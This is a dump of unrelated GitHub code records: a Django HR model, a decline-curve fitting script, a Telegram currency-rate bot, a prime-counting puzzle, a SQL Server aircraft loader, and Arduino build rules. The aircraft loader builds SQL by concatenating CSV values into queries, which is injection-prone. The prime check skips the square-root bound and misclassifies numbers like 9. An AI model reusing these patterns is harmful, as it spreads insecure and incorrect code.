models.DateField(null=True, blank=True)\n bond_till = models.DateField(null=True, blank=True)\n\n notice_period = models.CharField(max_length=250, null=True, blank=True)\n designation = models.CharField(\n max_length=100, choices=designation_choice, null=True, blank=True)\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n objects = CustomUserManager()\n\n def __str__(self):\n return self.get_full_name\n\n @property\n def full_name(self):\n if (self.first_name or self.last_name):\n full_name = '%s %s' % (self.first_name, self.last_name)\n return str(full_name.strip())\n else:\n return self.email\n \n \n\n @property\n def get_full_name(self):\n full_name = '%s %s' % (self.first_name, self.last_name)\n return str(full_name.strip())\n\n def get_short_name(self):\n return self.full_name\n\n @property\n def is_supervisor(self):\n return self.childs.exists()\n\n # @property\n # def leave_bank(self):\n # added = self.leave_banks.filter(type=\"1\").count()\n # taken = self.leave_banks.filter(type=\"2\").count()\n # return added - taken\n\n @property\n def leave_approve(self):\n leave_not_approve = self.leaves_approval.filter(supervisor_approval = 0)\n leave_count = leave_not_approve.count()\n return leave_count\n\n\n @property\n def get_avarage_ratings(self):\n return self.feedbacks.all().aggregate(Avg('rating')).values()[0]\n\n @property\n def get_last_rating(self):\n return self.feedbacks.filter(rating_provided=True).last()\n\n def rating_positive(self):\n return self.get_last_rating.positive\n\n def rating_negative(self):\n return self.get_last_rating.negative\n\n def rating_suggestion(self):\n return self.get_last_rating.suggestion\n def rating_rating(self):\n return self.get_last_rating.rating\n\n def waiting_feedback(self):\n return self.tl_feedbacks.filter(rating_provided=False).count()\n\n def display_feedback(self):\n if date.today()> date.today().replace(day=6) and date.today()< date.today().replace(day=25):\n return self.get_last_rating\n return False\n\n class Meta:\n ordering = ['-first_name']\n\n\nclass FamilyMember(models.Model):\n full_name = models.CharField(max_length=140)\n relation_with_employee = models.CharField(\n max_length=50, choices=relation_dict)\n contact_number = models.CharField(max_length=20, null=True, blank=True)\n user = models.ForeignKey(CustomUser, related_name='family_members')\n created_by = models.ForeignKey(\n settings.AUTH_USER_MODEL, related_name=\"family_member_created_by\", verbose_name=\"Created By\")\n modified_by = models.ForeignKey(\n settings.AUTH_USER_MODEL, related_name=\"family_member_modified_by\", verbose_name=\"Modified By\")\n created_at = models.DateTimeField(auto_now_add=True)\n modified_at = models.DateTimeField(auto_now=True)\n\n\n\nclass TlFeedback(models.Model):\n \"\"\"docstring for Feedback\"\"\"\n user = models.ForeignKey(CustomUser, related_name='feedbacks')\n tl = models.ForeignKey(CustomUser, related_name='tl_feedbacks')\n created_at = models.DateField(auto_now_add=True)\n rating = models.IntegerField(default=1, choices = [(i,i) for i in range(1,11)])\n positive = models.TextField(null=True, blank=True)\n negative = models.TextField(null=True, blank=True)\n suggestion = models.TextField(null=True, blank=True)\n rating_provided = models.BooleanField(default=False)\n\n @classmethod\n def generate_records(cls):\n tdate = date.today()\n users = CustomUser.objects.filter(department__in=['2','5','6','7'])\n for user in users:\n if user.parent.department != '1' and tdate > date.today().replace(day=24) and tdate < date.today().replace(day=29):\n if not cls.objects.filter(user= user, tl = user.parent, created_at__month=tdate.month, created_at__year=tdate.year):\n cls.objects.create(user= user, tl = user.parent)\n print (\"working\")\n else:\n print(\"out of create , get found \")\n else:\n print (\"Date is not in Range\")\n\n @classmethod\n def delete_pending(cls):\n tdate = date.today()\n if tdate > date.today().replace(day=6):\n cls.objects.filter(rating_provided=False).delete()\n","repo_name":"yogeshdmca/flickerp","sub_path":"geitpl_erp/apps/user/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31057433143","text":"import matplotlib.pyplot as plt\r\nimport math as math\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom scipy.interpolate import interp1d\r\nfrom scipy.optimize import curve_fit\r\nimport seaborn as sns\r\nsns.set()\r\n\r\nclass Decline_Curves:\r\n def input_data(self): \r\n \"\"\"returns three output values in order time [array], flow rate[array], Type of Decline (string)\"\"\"\r\n opt=int(input(\"Enter the type of Decline \\n1.Exponential \\n2.Hyperbolic \\n3.Harmonic \\n\")) \r\n qi=float(input('Enter the inital flow rate:\\n'))\r\n t=int(input('Enter the time in months:\\n'))\r\n tf=list(range(t+1))\r\n Di=float(input(\"Enter the decline rate:\\n\"))\r\n qt=[]\r\n if opt==1:\r\n #Exponential Decline b=0\r\n t1=\"Exponetial Decline Curve\"\r\n for i in range(len(tf)):\r\n cal=round(qi*math.pow(math.e,(-1*tf[i]*Di)),3)\r\n qt.append(cal)\r\n elif opt==2:\r\n #Hyberbolic Decline\r\n t1=\"Hyperbolic Decline Curve\"\r\n b=float(input('enter the value of b:\\n'))\r\n if (b<1.000) & (b>0.000):\r\n for i in range(len(tf)):\r\n cal=round(qi/(math.pow((1+(b*Di*tf[i])),(1/b))),3)\r\n qt.append(cal)\r\n else:\r\n print(\"Select appropriate value of b:\")\r\n else:\r\n #Harmonic decline b=1\r\n t1=\"Harmonic Decline Curve\"\r\n for i in range(len(tf)):\r\n cal=round(qi/(1+(Di*tf[i])),3)\r\n qt.append(cal)\r\n\r\n return tf,qt,t1\r\n # return (p1+p2)\r\n\r\n\r\n def plot_curves(self,a,b,c):\r\n plt.plot(a,b)\r\n plt.xlabel(\"Time\")\r\n plt.ylabel(\"Flow rate\")\r\n plt.title(c)\r\n plt.show()\r\n \r\n \r\nclass Decline_Curves_fit():\r\n\r\n def path(self):\r\n loc=input(\"Enter the path of the file:\")\r\n loc=loc.replace(\"\\\\\",\"/\")\r\n \r\n if 'csv' in loc:\r\n \r\n return loc\r\n\r\n else:\r\n return \"File not csv\" \r\n\r\n \r\n\r\n def input_data(self,location):\r\n \"\"\"input a data from a csv file with first column as time and second column as flow rate\"\"\"\r\n df=pd.read_csv(location)\r\n t_arr=[]\r\n flow_arr=[]\r\n for i in range(len(df)):\r\n t_arr.append(df.iloc[i,0])\r\n flow_arr.append(df.iloc[i,1])\r\n \r\n return t_arr,flow_arr\r\n \r\n def fit_curve(self):\r\n\r\n \"\"\"fits the curve to the data points and returns fitted flow rate,optimised paramters (initial flow rate, Decline rate, b-exponent,\r\n flow rate, time as arrays\"\"\"\r\n t=[]\r\n q=[]\r\n t,q=self.input_data(location=self.path())\r\n time_arr=np.array(t)\r\n flow_arr=np.array(q)\r\n time_arr1=time_arr/max(time_arr)\r\n flow_arr1=flow_arr/max(flow_arr)\r\n \r\n def arps_eqn(t,qi,Di,b):\r\n\r\n return (qi/(np.abs(1+(b*Di*t))**(1/b)))\r\n \r\n popt,pcov=curve_fit(arps_eqn,time_arr1,flow_arr1)\r\n\r\n\r\n def arps_eqn_denormal():\r\n\r\n return (popt[0]*max(flow_arr))/((1+(popt[2]*popt[1]*time_arr1))**(1/popt[2]))\r\n\r\n flow_fitted=arps_eqn_denormal()\r\n\r\n return flow_fitted,popt,flow_arr,time_arr\r\n\r\n def Cumulative_production(self,b_exp,q_initial,Decline_rate,q_arr):\r\n \"\"\"Calculates Cumulative production of the decline curves, takes 6 input parameters b exponent, decline rate, q intial ,q final and q1 if given\"\"\"\r\n\r\n # qt1=q_initial/(math.pow(1+(b_exp*Decline_rate*t1),b_exp))\r\n # qt2=q_initial/(math.pow(1+(b_exp*Decline_rate*t2),b_exp))\r\n Gpt=(math.pow(q_initial,b_exp)*(math.pow(q_initial,1-b_exp)-np.power(q_arr,1-b_exp)))/(Decline_rate*(1-b_exp))\r\n return Gpt\r\n\r\n \r\n def plot(self):\r\n\r\n \"\"\"plots two curves one a fitted curve and other cumulative production curve\"\"\"\r\n\r\n arr1,arr2,arr3,arr4=self.fit_curve()\r\n value1=arr2[0]*max(arr3)\r\n value2=(arr2[1]/max(arr4))\r\n arr5=self.Cumulative_production(arr2[2],value1,value2,arr1)\r\n\r\n #plot 1\r\n plt.subplot(2,1,1)\r\n plt.plot(arr4,arr3,label='Actual Curve')\r\n plt.plot(arr4,arr1,'--',label=f'b={round(arr2[2],3)}, Di={round(arr2[1]/max(arr4),3)}')\r\n plt.ylabel('Flow rate')\r\n plt.xlabel('Days')\r\n plt.legend()\r\n \r\n \r\n #plot 2\r\n plt.subplot(2,1,2)\r\n plt.plot(arr4,arr5,label='Cumulative production vs Time')\r\n plt.xlabel('Days')\r\n plt.ylabel('Cumulative Production')\r\n plt.legend()\r\n plt.legend()\r\n plt.show()\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"YashThussu/CodesPython","sub_path":"declinecurves.py","file_name":"declinecurves.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74592881651","text":"import sqlite3\n\ntry:\n banco = sqlite3.connect('frist_bank.db')\n\n cursor = banco.cursor()\n\n cursor.execute(\"DELETE from alunos WHERE nome = 'Fernanda'\")\n\n banco.commit()\n banco.close()\n print(\"Aluno deletado\")\n\n\nexcept sqlite3.Error as erro:\n print(\"Erro ao excluir\",erro)\n","repo_name":"ingridalvesz/Frist-Bank-Py","sub_path":"delete_student.py","file_name":"delete_student.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14353587535","text":"from app import bot, api_bot, supported_currencies\nfrom datetime import datetime, timedelta\nimport math\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom matplotlib import pyplot as plt\nimport calendar\n\n\n@bot.message_handler(commands=['start'])\ndef handler_start(message):\n bot.send_message(message.chat.id, 'Привет, я умею писать текущие курсы валют и говорить о динамике цен валют!')\n\n\n@bot.message_handler(commands=['help'])\ndef handler_start(message):\n bot.send_message(message.chat.id, 'Поддерживаемые команды:\\n0) /currencies список поддерживаемой валюты.\\n'\n '1) /latest_rates Текущий курс валют относительно какой-то валюты.\\n'\n '2) /historical_rates Курс валют относительно другой валюты в какую-то дату.\\n'\n '3) /historical_rates_cut Курс валюты относительно другой валюты через '\n 'определенный промежуток времени.')\n\n\n@bot.message_handler(commands=['currencies'])\ndef handler_start(message):\n bot_response = ['Список поддерживаемой валюты:\\n', ', '.join(sorted(supported_currencies)), '.']\n bot.send_message(message.chat.id, ''.join(bot_response))\n\n\n@bot.message_handler(commands=['latest_rates'])\ndef handler_current_rates(message):\n bot.send_message(message.chat.id, 'Введите валюту, относительно которой курсы вы хотите получать курсы, '\n 'имя валюты должно быть либо в форме сокращения из 3 букв. В большинстве случаев '\n 'вам нужно ввести RUB.')\n bot.register_next_step_handler(message, lambda m: get_base_currency(m, 'latest'))\n\n\n@bot.message_handler(commands=['historical_rates'])\ndef handler_current_rates(message):\n bot.send_message(message.chat.id, 'Введите год, за который вы хотите узнать курсы валют.')\n bot.register_next_step_handler(message, lambda m: get_year(m, 'historical'))\n\n\n@bot.message_handler(commands=['historical_rates_cut'])\ndef handler_current_rates(message):\n\n bot.send_message(message.chat.id, 'Введите год, начиная с которого вы хотите узнавать курсы валют.')\n bot.register_next_step_handler(message, lambda m: get_year(m, 'historical_cut'))\n\n\ndef get_year(message, getter_type):\n year = message.text.strip()\n if len(year) != 4 or not year.isdigit():\n bot.send_message(message.chat.id, 'Получен некорректный год.')\n return\n year = int(year)\n bot.send_message(message.chat.id, 'Введите номер месяца, начиная с которого вы хотите узнавать курсы валют.')\n bot.register_next_step_handler(message, lambda m: get_month(m, getter_type, [year]))\n\n\ndef get_month(message, getter_type, start_date):\n month = message.text.strip()\n if len(month) > 2 or not month.isdigit() or not 1 <= int(month) <= 12:\n bot.send_message(message.chat.id, 'Месяц введен некорректно.')\n return\n month = int(month)\n start_date.append(month)\n bot.send_message(message.chat.id, 'Введите день, начиная с которого вы хотите узнавать курсы валют.')\n bot.register_next_step_handler(message, lambda m: get_day(m, getter_type, start_date))\n\n\ndef correct_day(year, month, day):\n return calendar.monthrange(year, month)[1] >= day\n\n\ndef get_day(message, getter_type, start_date):\n day = message.text.strip()\n if len(day) > 2 or not day.isdigit() or day.isdigit() and not correct_day(start_date[0], start_date[1], int(day)):\n bot.send_message(message.chat.id, 'День введен некорректно.')\n return\n day = int(day)\n start_date.append(day)\n start_date = datetime(start_date[0], start_date[1], start_date[2], 0, 0, 0)\n if getter_type == 'historical':\n bot.send_message(message.chat.id, 'Введите валюту, относительно которой курсы вы хотите получать курсы, '\n 'имя валюты должно быть либо в форме сокращения из 3 букв. В большинстве '\n 'случаев вам нужно ввести RUB.')\n bot.register_next_step_handler(message, lambda m: get_base_currency(m, getter_type,\n start_date))\n elif getter_type == 'historical_cut':\n bot.send_message(message.chat.id, 'Введите разницу в днях, с которой дата будет увеличиваться.')\n bot.register_next_step_handler(message, lambda m: get_day_dif(m, getter_type, start_date))\n\n\ndef get_day_dif(message, getter_type, start_date):\n day_dif = message.text.strip()\n if not day_dif.isdigit() or day_dif.isdigit() and int(day_dif) == 0:\n bot.send_message(message.chat.id, 'Разница введена некорректно.')\n return\n day_dif = int(day_dif)\n bot.send_message(message.chat.id, 'Введите максимальное число запросов, которые вы хотите сделать (может быть '\n 'сделано меньше запросов, если дата после какого-то запроса больше текущей).')\n bot.register_next_step_handler(message, lambda m: get_max_queries(m, getter_type, start_date, day_dif))\n\n\ndef get_max_queries(message, getter_type, start_date, day_dif):\n max_queries = message.text.strip()\n if not max_queries.isdigit() or max_queries.isdigit() and int(day_dif) == 0:\n bot.send_message(message.chat.id, 'Число запросов введено некорректно.')\n return\n max_queries = int(max_queries)\n bot.send_message(message.chat.id, 'Введите валюту, относительно которой курсы вы хотите получать курсы, '\n 'имя валюты должно быть либо в форме сокращения из 3 букв. В большинстве случаев '\n 'вам нужно ввести RUB.')\n bot.register_next_step_handler(message, lambda m: get_base_currency(m, getter_type, start_date, day_dif, max_queries))\n\n\ndef get_base_currency(message, getter_type, start_date=None, date_dif=None, max_queries=None):\n base_currency = message.text.upper()\n if len(base_currency) != 3 or base_currency not in supported_currencies:\n bot.send_message(message.chat.id, 'Не могу найти такую валюту.')\n return\n if getter_type != 'historical_cut':\n bot.send_message(message.chat.id, 'Курсы каких валют вы хотите узнать? Запишите валюты в виде трехбуквенного '\n 'сокращения через запятую.')\n else:\n bot.send_message(message.chat.id, 'Курсы какой валюты вы хотите узнать?')\n bot.register_next_step_handler(message, lambda m: get_currency_rates(m, base_currency, getter_type, start_date,\n date_dif, max_queries))\n\n\ndef correct_currency_list(currency_list):\n for currency in currency_list:\n if currency not in supported_currencies:\n return False\n return True\n\n\ndef plot_graph(base_currency, currency, dates, values, number_of_days):\n precise_grid = np.linspace(int((dates[0] - datetime(1970, 1, 1)).total_seconds()),\n int((dates[-1] - datetime(1970, 1, 1)).total_seconds()), num=10 * number_of_days)\n f = interp1d(list(map(lambda d: int((d - datetime(1970, 1, 1)).total_seconds()),\n dates)), values, 'cubic')\n prediction = f(precise_grid)\n min_value, max_value = math.floor(min(prediction) * 100) / 100, math.ceil(max(prediction) * 100) / 100\n beautiful_precise_grid = list(map(lambda d: datetime.fromtimestamp(d).strftime('%d.%m.%y'), precise_grid))\n plt.figure(figsize=(10, 9))\n grid_step = math.floor(len(precise_grid) / 30)\n plt.plot(precise_grid, prediction, label=currency)\n beautiful_precise_grid = beautiful_precise_grid[::grid_step]\n prev = beautiful_precise_grid[0]\n for i in range(1, len(beautiful_precise_grid)):\n if beautiful_precise_grid[i] == prev:\n prev = beautiful_precise_grid[i]\n beautiful_precise_grid[i] = ''\n else:\n prev = beautiful_precise_grid[i]\n plt.xticks(precise_grid[::grid_step], beautiful_precise_grid, rotation=45)\n y_ticks = np.linspace(min_value, max_value, num=len(beautiful_precise_grid))\n plt.yticks(y_ticks)\n plt.ylabel(base_currency)\n plt.title('Курсы обмена по отношению к ' + base_currency)\n plt.legend()\n plt.grid(linestyle=':', alpha=0.5)\n plt.savefig('graph.png')\n plt.clf()\n\n\ndef get_currency_rates(message, base_currency, getter_type, date=None, days_dif=None, max_queries=None,\n currencies=None, send_message=True):\n if getter_type == 'latest' or getter_type == 'historical':\n currency_list = currencies\n if currencies is None:\n currency_list = list(map(lambda s: s.upper().strip(), message.text.split(',')))\n currency_list.append(base_currency.upper())\n if not correct_currency_list(currency_list):\n bot.send_message(message.chat.id, 'Введенная валюта не поддерживается.')\n return\n if date is not None:\n date = date.strftime('%Y-%m-%d')\n api_bot_response = api_bot.get_current_rate(currency_list, date)\n success, currency_exchange_rates = api_bot_response[0], api_bot_response[1]\n if success:\n bot_response = ['Курсы обмена валют к ', base_currency, ':']\n for currency, exchange_rate in currency_exchange_rates.items():\n bot_response.append('\\n')\n bot_response.append(currency)\n bot_response.append(' ')\n bot_response.append(str(round(exchange_rate, 3)))\n if send_message:\n bot.send_message(message.chat.id, ''.join(bot_response))\n else:\n errors_dict = dict(currency_exchange_rates)\n bot_response = ['Код ошибки ', str(errors_dict['code']), '\\n', 'Описание ошибки: ', errors_dict['type']]\n bot.send_message(message.chat.id, ''.join(bot_response))\n with open('bug_fix_incoming.png', 'rb') as bug_fix_incoming:\n bot.send_photo(message.chat.id, bug_fix_incoming)\n bot.send_message(message.chat.id, 'Наши специалисты уже приступили к исправлению бага!')\n return api_bot_response\n if getter_type == 'historical_cut':\n currency_list = list(map(lambda s: s.upper().strip(), message.text.split(',')))\n currency_list.append(base_currency)\n if not correct_currency_list(currency_list) or len(currency_list) != 2:\n bot.send_message(message.chat.id, 'Введенная валюта не поддерживается.')\n return\n values = []\n dates = []\n while max_queries > 0 and date < datetime.now():\n success, currency_exchange_rates = get_currency_rates(message, base_currency, 'historical',\n date=date,\n currencies=currency_list, send_message=False)\n if not success:\n return\n for currency, value in currency_exchange_rates.items(): # словарь состоит лишь из 1 пары элементов\n values.append(value)\n dates.append(date)\n date += timedelta(days=days_dif)\n max_queries -= 1\n number_of_days = len(values)\n if number_of_days <= 3:\n output = ['Недостаточно данных для построения точного графика.', '']\n for date, value in zip(dates, values):\n output.append('Дата ' + date.strftime('%d.%m.%y') + ' , цена ' + str(round(value, 3)) + '.')\n bot.send_message(message.chat.id, '\\n'.join(output))\n return\n plot_graph(base_currency, currency, dates, values, number_of_days)\n\n with open('graph.png', 'rb') as graph:\n bot.send_photo(message.chat.id, graph)\n\n","repo_name":"Serega6678/Python","sub_path":"PythonCodeReview2-master/app/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":13369,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13191015175","text":"import math\nfrom itertools import permutations\n\n\ndef solution(numbers):\n answer = set()\n num_list = list(numbers)\n\n for i in range(1, len(numbers) + 1):\n comb = list(permutations(num_list, i))\n for c in comb:\n num = int(''.join(list(c)))\n if is_prime(num):\n answer.add(num)\n\n return len(answer)\n\n\ndef is_prime(num):\n if num == 1:\n return False\n\n if num != 2 and num % 2 == 0:\n return False\n\n for i in range(3, int(math.sqrt(num))):\n if num % i == 0:\n return False\n\n return True\n\nprint(solution(\"011\"))","repo_name":"Eui9179/algorithm-study","sub_path":"programmers/python/score_kit/implement/p42839.py","file_name":"p42839.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17334365865","text":"# -*- coding: utf-8 -*-\n\n'''Заполняем строки в БД из файлы-справочника типа *.csv\n данными по самолетам\n Вставить имя файла и номер модели самолета\n'''\n\n\nimport pyodbc\nimport pandas\nimport time\nimport datetime\n\n\n__version__ = 5.11 # столько плюсов ставим в имени отработанного файла спереди\n\n# Отметка времени начала загрузки\nStartTime = datetime.datetime.now()\n\n# Открываем соединение с БД. Значение AUTOCOMMIT берет из БД (там по-умолчанию FALSE)\nmyDriver = \"SQL Server\"\nmyServer = \"Data-Server\"\nmyDataBase = \"AirFlightsDBNew3\"\n\n# Открываем соединение с БД. Значение AUTOCOMMIT берет из БД (там по-умолчанию FALSE)\ncnxn = pyodbc.connect(driver=myDriver, server=myServer, database=myDataBase)\n\n# Ставим курсор на начало\nseek = cnxn.cursor()\n\n# Читаем справочный файл типа *.csv (разделитель - |, шапка таблицы) и перепаковываем его в DataFrame\n\n# Источник PlaneList.net\n# Убать из файла все косые, запятые и кавычки\nmyCSVFile = \"Tu-334.csv\"\nModel = 201 # модель самолета в таблице\n\n# Перепаковываем его в DataFrame (шапка таблицы над столбцами, разделитель - ,)\nDataFrameFromCSV = pandas.read_csv(myCSVFile, sep=\"|\")\n# В исходном файле *.csv подписаны столбцы -> в DataFrame можно перемещаться по именам столбцов -> Разбираем на столбцы и работаем по ним\nListCN = DataFrameFromCSV['CN'].tolist()\nListLN = DataFrameFromCSV['LN'].tolist()\nListRegistration = DataFrameFromCSV['Registration'].tolist()\nListOwner = DataFrameFromCSV['AirLineOwner'].tolist()\nListDD = DataFrameFromCSV['DD'].tolist()\nListType = DataFrameFromCSV['Type'].tolist()\nListSt = DataFrameFromCSV['St'].tolist()\nListRemarks = DataFrameFromCSV['FateRemarks'].tolist()\n\n# Счетчики\nCountAirCraftsAdded = 0\nCountAirCraftsUpdated = 0\nCountAirCraftsFailed = 0\nCountAirCraftsNotUpdated = 0\n\n# Список недобавленных самолетов\nListAirCraftsFailed = []\n\n# Делаем проход по таблице - ищем такой же код IATA\nfor CN, LN, AC, Owner, DD, Type, St, Remarks in zip(ListCN, ListLN, ListRegistration, ListOwner, ListDD, ListType, ListSt, ListRemarks):\n myQuery = \"SELECT * FROM dbo.AirCraftsTable WHERE AirCraftRegistration = '\" + str(AC) + \"' COMMIT\"\n seek.execute(myQuery)\n ResultSQL = seek.fetchone()\n if ResultSQL:\n print(\"\\n ++ Самолет \", AC, \" есть\", end=\" \")\n if ResultSQL.AirCraftModel == 186 or ResultSQL.AirCraftModel != Model: # 186 зарезервировано в БД как неизвестная или нестандартная модель\n myUpdate = \"UPDATE dbo.AirCraftsTable SET AirCraftModel = \" + str(Model) + \" WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", модель обновили\", end=\" \")\n except:\n print(\", модель не обновили\", end=\" \")\n if ResultSQL.AirCraftModel == Model: # чтобы не затереть другой самолет, например, другой модели с возможно такой же регистрацией\n if not ResultSQL.SourceCSVFile:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET SourceCSVFile = '\" + str(myCSVFile) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\" источник обновили\", end=\" \")\n except:\n print(\" источник не обновили\", end=\" \")\n if not ResultSQL.AirCraftDescription:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET AirCraftDescription = '\" + str(Remarks) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", описание обновили\", end=\" \")\n except:\n print(\", описание не обновили\", end=\" \")\n if not ResultSQL.AirCraftLineNumber_LN_MSN:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET AirCraftLineNumber_LN_MSN = '\" + str(LN) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", LN MSN обновили\", end=\" \")\n except:\n print(\", LN MSN не обновили\", end=\" \")\n if not ResultSQL.AirCraftCNumber:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET AirCraftCNumber = '\" + str(CN) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", CN обновили\", end=\" \")\n except:\n print(\", CN не обновили\", end=\" \")\n if not ResultSQL.Owner1:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET Owner1 = '\" + str(Owner) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", владельца обновили\", end=\" \")\n except:\n print(\", владельца не обновили\", end=\" \")\n if not ResultSQL.Type:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET Type = '\" + str(Type) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", модификацию обновили\", end=\" \")\n except:\n print(\", модификацию не обновили\", end=\" \")\n if not ResultSQL.State:\n myUpdate = \"UPDATE dbo.AirCraftsTable SET State = '\" + str(St) + \"' WHERE AirCraftRegistration = '\" + str(AC) + \"' \"\n try:\n seek.execute(myUpdate)\n print(\", состояние обновили\", end=\" \")\n except:\n print(\", состояние не обновили\", end=\" \")\n else:\n print(\"\\nДобавляем самолет \", AC, \"+++ ->\", end=\" \")\n myInsert = \"INSERT INTO dbo.AirCraftsTable (AirCraftRegistration, AirCraftModel, SourceCSVFile, AirCraftDescription, AirCraftLineNumber_LN_MSN, AirCraftCNumber, Owner1, Type, State) VALUES (\"\n myInsert += \"'\" + str(AC) + \"', \" # nvarchar(50)\n myInsert += str(Model) + \", \" # bigint\n myInsert += \"'\" + str(myCSVFile) + \"', \" # ntext\n myInsert += \"'\" + str(Remarks) + \"', \" # ntext\n myInsert += \"'\" + str(LN) + \"', \" # nvarchar(50)\n myInsert += \"'\" + str(CN) + \"', \" # nvarchar(50)\n myInsert += \"'\" + str(Owner) + \"', \" # nvarchar(50)\n myInsert += \"'\" + str(Type) + \"', \" # nvarchar(50)\n myInsert += \"'\" + str(St) + \"') \" # nvarchar(50)\n try:\n seek.execute(myInsert)\n CountAirCraftsAdded += 1\n print(\" готово\")\n except Exception:\n CountAirCraftsFailed += 1\n ListAirCraftsFailed.append(AC)\n print(\" не добавился .....\")\n cnxn.commit()\n\n# Снимаем курсор\nseek.close()\n\n# Заканчиваем висящие транзакции\ncnxn.commit()\n\n# Закрываем соединение\ncnxn.close()\n\n# Отметка времени окончания загрузки\nEndTime = datetime.datetime.now()\n# Дата и время сейчас\nNow = time.time()\nDateTime = time.ctime(Now)\n\n# Итоги\nprint(\"\\n Итоги:\\n ----\")\nprint(\" Источник - \", str(myCSVFile))\nif CountAirCraftsAdded:\n print(\" Добавлено \", str(CountAirCraftsAdded), \" самолетов\")\nif CountAirCraftsFailed:\n print(\" Не добавлено \", str(CountAirCraftsFailed), \" самолетов\")\n if ListAirCraftsFailed:\n print(ListAirCraftsFailed)\nprint(\" ----\")\nprint(\" Длительность загрузки\", EndTime - StartTime)\nprint(\" Дата и время\", DateTime)\n","repo_name":"tsv19su254052/LoadWorkData-GUIs-and-Utilities","sub_path":"LoadAirCrafts.py","file_name":"LoadAirCrafts.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"4536677412","text":"\n@buildrule\ndef arduino_shim(target, name, env, **kwargs):\n filepath = os.path.join(target.GetPackageDirectory(), 'shim.py')\n initpath = os.path.join(target.GetPackageDirectory(), '__init__.py')\n target.Execute(f'mkdir -p {target.GetPackageDirectory()}'\n ,f'touch {initpath}'\n ,f'touch {filepath}')\n print(env)\n with open(filepath, 'w') as f:\n f.write('from arduino import autoflash\\n')\n f.write('from impulse.util import buildvars\\n')\n for e,v in env.items():\n f.write(f'buildvars.Set(\"{e}\", \"{v}\")\\n')\n f.write('def main():\\n')\n f.write(' autoflash.main()')\n target.AddFile(initpath)\n target.AddFile(filepath)\n\n\n@buildrule\ndef avr_objcopy(target, name, binary, **kwargs):\n target.SetTags('exe')\n target.Execute(f'avr-objcopy -O ihex -R .eeprom bin/{binary} bin/{name}')\n target.AddFile(f'bin/{name}')\n\n\n@buildmacro\ndef arduino_installer(macro_env, name, srcs, chipid, cpuid, deps=None, includes=None, **kwargs):\n subtargets = []\n deps = deps or []\n includes = includes or []\n for cc_file in srcs:\n subtarget = cc_file.replace('.', '_') + '_o'\n macro_env.ImitateRule(\n rulefile = '//rules/core/C/build_defs.py',\n rulename = 'cc_compile',\n kwargs = kwargs,\n args = {\n 'compiler': 'avr-gcc',\n 'name': subtarget,\n 'srcs': [ cc_file ],\n 'deps': includes,\n 'flags': [\n \"-mmcu=atmega328p\",\n \"-DF_CPU=16000000UL\",\n \"-Os\",\n ],\n })\n subtargets.append(f':{subtarget}')\n\n macro_env.ImitateRule(\n rulefile = '//rules/core/C/build_defs.py',\n rulename = 'cc_combine',\n kwargs = kwargs,\n args = {\n 'compiler': 'avr-ld',\n 'name': f'{name}_o',\n 'deps': subtargets + deps\n })\n\n macro_env.ImitateRule(\n rulefile = '//rules/core/C/build_defs.py',\n rulename = 'cc_package_binary',\n kwargs = kwargs,\n args = {\n 'compiler': 'avr-gcc',\n 'name': f'{name}_binary',\n 'deps': [f':{name}_o']\n }\n )\n\n macro_env.ImitateRule(\n rulefile = '//arduino/build_defs.py',\n rulename = 'avr_objcopy',\n kwargs = kwargs,\n args = {\n 'name': f'{name}_hex',\n 'deps': [f':{name}_binary'],\n 'binary': f'{name}_binary',\n }\n )\n\n macro_env.ImitateRule(\n rulefile = '//arduino/build_defs.py',\n rulename = 'arduino_shim',\n args = {\n 'name': f'{name}_shim',\n 'env': {\n 'chipid': chipid,\n 'cpuid': cpuid,\n 'hexfile': f'bin/{name}_hex'\n },\n }\n )\n\n macro_env.ImitateRule(\n rulefile = '//rules/core/Python/build_defs.py',\n rulename = 'py_binary',\n kwargs = kwargs,\n args = {\n 'name': f'{name}',\n 'srcs': [ 'shim.py' ],\n 'deps': [\n '//arduino:autoflash',\n '//impulse/util:buildvars',\n f':{name}_shim'\n ],\n 'tools': [\n f':{name}_hex',\n '//arduino:avrdude',\n ],\n }\n )\n \n ","repo_name":"tmathmeyer/avrdude-src","sub_path":"build_defs.py","file_name":"build_defs.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27710933264","text":"from django.urls import path\n\nfrom orders import views\n\napp_name = 'orders'\n\nurlpatterns = [\n path('create/', 